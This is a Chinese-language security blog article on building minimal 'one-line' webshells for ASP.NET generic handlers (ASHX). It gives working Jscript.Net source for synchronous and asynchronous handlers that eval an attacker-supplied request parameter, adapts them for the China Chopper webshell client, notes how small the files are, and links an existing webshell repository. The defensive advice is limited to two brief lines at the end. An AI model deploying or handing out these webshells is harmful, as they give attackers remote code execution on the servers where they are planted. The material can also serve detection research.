首页 > 安全 > 网站安全 >

.NET下实现一句话木马之ashx篇

2018-07-19

NET下实现一句话木马之ashx篇 前言在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而 NET平台下的一句话木马则百年不变,最常见的当属下面这句想必这句话已经成大多数防御产品的标准样本,除此以外还

0x01 前言
在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而.NET平台下的一句话木马则百年不变,最常见的当属下面这句
想必这句话已经成大多数防御产品的标准样本,除此以外还有上传文件的一句话,像这种的从严格意义上不能算是一句话木马,只是一个简单的上传文件的功能,实际的操作还是大马或者小马的操作行为。
笔者感觉有必要挖坑一下.NET平台里的一句话木马,经过一番摸索填坑终于可以总结出了.NET下的三驾马车,于是乎有了这个系列的文章。今天是第一篇着重介绍一般处理程序 (ASHX)下的工作原理和如何实现一句话木马的介绍,当然介绍之前笔者找到了一款ashx马儿 https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx

这个马儿已经实现了菜刀可连,可用,还是挺棒的,但因为体积过大,并且在服务端实现了大多数功能,其实更像是一个大马,只是对客户端的菜刀做了适配可用,所以不能说是一句话木马了,至于要打造一款居家旅行必备的菜刀马,还得从原理上搞清楚 ashx的运行过程。

0x02 简介
从Asp.Net 2.0开始,Asp.Net提供了称为一般处理程序的处理程序,允许我们使用比较简单的方式定义扩展名为ashx的专用处理程序。对于Asp.Net应用来说,网站最快的处理结果就是HTML网页,生成网页的工作通常使用扩展名为Aspx的Web窗体来完成。对于处理结果不是HTML的请求,都可以通过一般处理程序完成。例如生成RSS Feed、XML、图片等。 一般处理程序是Asp.Net应用中最为简单、高效的处理程序,在处理返回类型不是HTML的请求中有着重要的作用。通常是实现IHttpHandler接口,因为不必继承自Page类,所以没有那么多事件需要处理,不必消耗太多资源,所以性能方面要比Aspx高。
当Http请求进入 Asp.Net Runtime以后,它的管道由托管模块(NOTE:Managed Modules)和处理程序(NOTE:Handlers)组成,并且由管道来处理这个 Http请求。

HttpRuntime将Http请求转交给 HttpApplication,HttpApplication代表着程序员创建的Web应用程序。HttpApplication创建针对此Http请求的 HttpContext对象,这些对象包含了关于此请求的诸多其他对象,主要是HttpRequest、HttpResponse、HttpSessionState等。这些对象在程序中可以通过Page类或者Context类进行访问,而接下来的一句话木马就是通过Context类进行请求交互的。

0x03 一句话的实现
3.1、同步处理:IHttpHandler
首先可以打开C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\CONFIG\ 目录下的web.config 文件,找到httpHandlers结点,应该可以看到如下这样的代码

.Net Framework在处理Http请求时的所采用的默认Handler。而如果我们要用编程的方式来操控一个Http请求,我们就需要实现IHttpHandler接口,来定制我们自己的需求。IHttpHandler的定义是这样的:
public interface IHttpHandler
{
bool IsReusable { get; }
void ProcessRequest(HttpContext context);
}
由上面可以看出IHttpHandler要求实现一个方法和一个属性。其中 ProcessRequest,从名字(处理请求)看就知道这里应该放置我们处理请求的主要代码。IsReusable属性,MSDN上是这样解释的:获取一个值,该值指示其他请求是否可以使用 IHttpHandler 实例。也就是说后继的Http请求是不是可以继续使用实现了该接口的类的实例。如果返回true,则HttpHandler能得到重用,或许某些场合下,是可以达到性能优化的目的。但是,它也可能会引发新的问题:HttpHandler实例的一些状态会影响后续的请求,也正是由于这个原因在默认情况下,都是不重用的。在通常情况下,当实现IsReusable时返回false,虽然性能上不是最优,但却是最安全的做法。
了解了基本原理后,笔者开始手动打造一句话小马,这个马儿要和PHP或者同胞兄弟Aspx一样,仅仅在服务端存放体积很小的一段代码,参考Aspx一句话木马的实现原理,发现是基于Jscript.Net语言中的eval方法去执行任意字符串的,所以首当其冲考虑用Jscript,并且需要实现IhttpHandler这个接口,查询资料后得到在Jscript.Net和VB.Net中均采用implements去实现,最终写出一句话木马服务端代码:
import System;
import System.Web;
import System.IO;
public class HandlerSpy implements IHttpHandler{
function IHttpHandler.ProcessRequest(context : HttpContext){
context.Response.Write(“Just for fun, Do not abuse it! Written by Ivan1ee “);
eval(context.Request[“Ivan”]);
}
function get IHttpHandler.IsReusable() : Boolean{
return false;
}
}
这里有必要简单的介绍一下Jscript.Net的语法;和大多数语言类似导入命名空间也是通过Import,以下摘自微软描述
import 语句在名称提供为 namespace 的全局对象上创建属性并将其初始化,以包含对应于所导入命名空间的对象。 任何使用 import 语句创建的属性都不能赋给其他对象、删除或枚举。 所有 import 语句都在脚本开始时执行。
方法名中的参数和类型之间用冒号分割 ,一对括号外的是返回的类型 。可参考下图

如果要访问类中的属性,需使用 function get 语句,可参考下图


Jscript简单语法就介绍到这里,更多的语法可参考微软官方文档:https://docs.microsoft.com/zh-cn/previous-versions/visualstudio/visual-studio-2010/z688wt03(v%3dvs.100)
万事俱备,打开浏览器输入 context.Response.Write(DateTime.Now.ToString()) 成功打印出当前时间

3.2、异步处理:IHttpAsyncHandler
在ASP.NET程序中,适当地使用异步是可以提高服务端吞吐量的。 这里所说的适当地使用异步,一般是说:当服务器的压力不大且很多处理请求的执行过程被阻塞在各种I/O等待(以网络调用为主)操作上时, 而采用异步来减少阻塞工作线程的一种替代同步调用的方法。 反之,如果服务器的压力已经足够大,或者没有发生各种I/O等待,那么,在此情况下使用异步是没有意义的。那么在HttpHandler的接口里要想支持异步,则必须使用另一个接口:IhttpAsyncHandler

这个接口也很简单只有二个方法,在.net中,异步都是建立在IAsyncResult接口之上的,而BeginProcessRequest / EndProcessRequest是对这个接口最直接的使用方式。笔者通过创建一个C#的Demo来演示异步处理的过程
public class ashxSpy1 : IHttpAsyncHandler
{
public delegate void someDelegate();
public static void writeFile()
{
StreamWriter wickedly = File.CreateText(“d:\\test.txt”);
wickedly.Write(“test”);
wickedly.Flush();
wickedly.Close();
}
public IAsyncResult BeginProcessRequest(HttpContext context, AsyncCallback asyncCallback, object obj )
{
someDelegate someDelegate = new someDelegate(writeFile);
IAsyncResult iAsyncResult = someDelegate.BeginInvoke(asyncCallback, context);
return iAsyncResult;
}
public void EndProcessRequest(IAsyncResult result){}
bool IHttpHandler.IsReusable
{
get { return true; }
}
void IHttpHandler.ProcessRequest(HttpContext context){}
}
值得注意的是ProcessRequest方法和IsReusable属性可以不实现它们,但必须要保留下来,因为这个方法也是接口的一部分。核心方法是BeginProcessRequest,其中参数asyncCallback是一个内部委托,那么就需要定义一个委托,将来通过异步的方式回调自定义的方法writeFile 来写入文件。
知道原理后就开始着手打造异步调用的一句话木马,和IhttpHandler一样需要通过Jscript.Net的eval方法去实现代码执行,有点遗憾之处笔者查询资料后发现Jscript.Net暂时不支持委托类型,不过只需要在BeginProcessRequest方法里增加HttpContext.Current.Response.End();就可以实现功能并且不让程序抛出异常,实现的代码如下:
import System;
import System.Web;
import System.IO;
public class AsyncHandlerSpy implements IHttpAsyncHandler{
function IHttpAsyncHandler.BeginProcessRequest(context : HttpContext,asyncCallback :AsyncCallback , obj : Object ) : IAsyncResult {
context.Response.Write(“Just for fun, Do not abuse it! Written by Ivan1ee”);
eval(context.Request[“Ivan”]);
HttpContext.Current.Response.End();
}
function IHttpAsyncHandler.EndProcessRequest(result : IAsyncResult){}
function IHttpHandler.ProcessRequest(context : HttpContext){}
function get IHttpHandler.IsReusable() : Boolean{return false;}
}
打开浏览器,测试效果如下


0X04 菜刀连接
圈内常说武功再高,也怕菜刀;那么就有必要了解一下菜刀在连接ASPX的时候会发送什么数据了,经过抓包得到下图的请求

对于.NET平台的应用程序默认连接后发送的可执行字符串是Response.Write,而这样的输出需要继承的对象是Page类,所以至今为止,在菜刀的层面.NET下仅支持ASPX,再来看一般处理程序中已经继承了HttpContext对象实例化后的变量context,由此可以构造出
var I = context;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
eval(context.Request[“Ivan”]);
修改好后用菜刀连接成功,如下图

基于优化考虑将HandlerSpy.ashx进一步压缩体积后只有531字节,而AsyncHandlerSpy.ashx也才719字节。


0x05 防御措施
通过菜刀连接的方式,添加可以检测菜刀关键特征的规则;
对于Web应用来说,尽量保证代码的安全性;
相关文章
最新文章
热点推荐